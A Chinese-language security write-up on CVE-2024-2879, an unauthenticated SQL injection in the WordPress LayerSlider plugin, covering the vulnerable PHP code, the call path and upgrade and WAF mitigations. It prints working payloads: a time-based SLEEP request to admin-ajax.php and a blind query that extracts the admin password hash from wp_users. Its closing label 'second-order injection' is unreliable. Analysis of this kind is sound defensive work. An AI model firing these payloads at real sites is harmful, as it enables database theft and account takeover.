WordPress LayerSlider 插件存在SQL注入漏洞-CVE-2024-2879分析
字数 1543
更新时间 2025-08-23 06:04:56
WordPress LayerSlider 插件SQL注入漏洞(CVE-2024-2879)分析报告
漏洞概述
CVE-2024-2879是WordPress LayerSlider插件中发现的一个严重SQL注入漏洞,影响版本为7.9.11至7.10.0。该插件在WordPress生态中广泛使用,活跃安装量超过10万。漏洞CVSS评分为7.5分(高危),允许未经身份验证的攻击者从数据库中获取敏感信息。
受影响环境
- 基于WordPress搭建的网站
- 安装了LayerSlider插件且版本在7.9.11至7.10.0之间
漏洞分析
漏洞入口点
漏洞位于assets/wp/actions.php文件中的ls_get_popup_markup()函数:
function ls_get_popup_markup() {
$id = is_numeric($_GET['id']) ? (int)$_GET['id'] : $_GET['id'];
$popup = LS_Sliders::find($id);
if($popup) {
$GLOBALS['lsAjaxOverridePopupSettings'] = true;
$parts = LS_Shortcode::generateSliderMarkup($popup);
die($parts['container'].$parts['markup'].'<script>'.$parts['init'].'</script>');
}
die();
}
漏洞成因
-
输入验证不足:函数通过
is_numeric()检查id参数是否为数字,如果不是则直接使用原始值,未进行充分过滤。 -
SQL注入点:未经验证的
id参数被传递给LS_Sliders::find()方法,最终被拼接到SQL查询中。
关键漏洞代码路径
LS_Sliders::find()方法处理逻辑:
public static function find($args) {
// ...
if(is_numeric($args) && intval($args) == $args) {
return self::_getById((int)$args);
} elseif($args === 'random') {
return self::_getRandom();
} elseif(is_string($args)) {
return self::_getBySlug($args);
} elseif(is_array($args) && isset($args[0]) && is_numeric($args[0])) {
return self::_getByIds($args);
} else {
// 漏洞主要触发路径
// 处理数组参数并构建SQL查询
// ...
$where = '';
if(!empty($args['where']) && !empty($args['exclude'])) {
$where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";
} elseif(!empty($args['where'])) {
$where = "WHERE {$args['where']} ";
}
// ...
$sliders = $wpdb->get_results("
SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
FROM $table
$where
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
LIMIT {$args['limit']}
", ARRAY_A);
// ...
}
}
- 关键问题:
- 虽然对大多数参数使用了
esc_sql()进行转义,但where参数被排除在外 - 直接拼接用户控制的
where参数到SQL查询中 - 注释中明确提到无法使用预处理语句,存在安全隐患
- 虽然对大多数参数使用了
漏洞利用
利用条件
- 目标网站使用受影响版本的LayerSlider插件
- 插件已启用且相关功能未被禁用
利用方法
构造恶意请求触发SQL注入:
http://vulnerable-site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)
POC构造说明
- 通过
admin-ajax.php调用ls_get_popup_markup动作 - 传递数组形式的
id参数,其中包含where键 where值包含恶意SQL代码,如时间延迟注入SLEEP(5)
其他可能的利用方式
除了时间盲注,攻击者还可以构造其他SQL注入payload:
- 数据提取:
id[where]=(SELECT 1 FROM wp_users WHERE user_login='admin' AND SUBSTRING(user_pass,1,1)='$') - 联合查询注入:构造UNION SELECT语句获取数据库信息
修复方案
官方修复
升级到LayerSlider插件的最新版本(7.10.1及以上)
临时缓解措施
- 禁用LayerSlider插件
- 通过WAF规则拦截包含可疑
id[where]参数的请求 - 限制对
admin-ajax.php的访问
漏洞验证
验证步骤
- 确认目标网站使用LayerSlider插件
- 检查插件版本是否在受影响范围内
- 发送测试请求观察响应时间:
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))test) HTTP/1.1 Host: target.com - 如果响应延迟约5秒,则存在漏洞
验证注意事项
- 测试应在授权范围内进行
- 使用最小影响payload(如短时间sleep)
- 避免在生产环境进行破坏性测试
技术细节补充
漏洞调用链
- 前端请求 →
admin-ajax.php→ls_get_popup_markup()→LS_Sliders::find()→ SQL查询拼接
数据库操作细节
漏洞最终执行的SQL查询结构:
SELECT SQL_CALC_FOUND_ROWS {columns}
FROM {table_prefix}layerslider
WHERE {user_controlled_where_clause}
ORDER BY {orderby} {order}, name ASC
LIMIT {limit}
WordPress安全机制绕过
- 绕过
esc_sql()保护,因为where参数被特殊处理 - 通过数组参数传递注入payload绕过常规字符串过滤
总结
CVE-2024-2879是一个典型的二阶SQL注入漏洞,由于对用户输入验证不充分和不当的SQL查询构建方式导致。该漏洞允许攻击者在无需认证的情况下执行任意SQL命令,威胁数据库安全。所有使用受影响版本LayerSlider插件的WordPress网站都应立即升级到修复版本。
相似文章
相似文章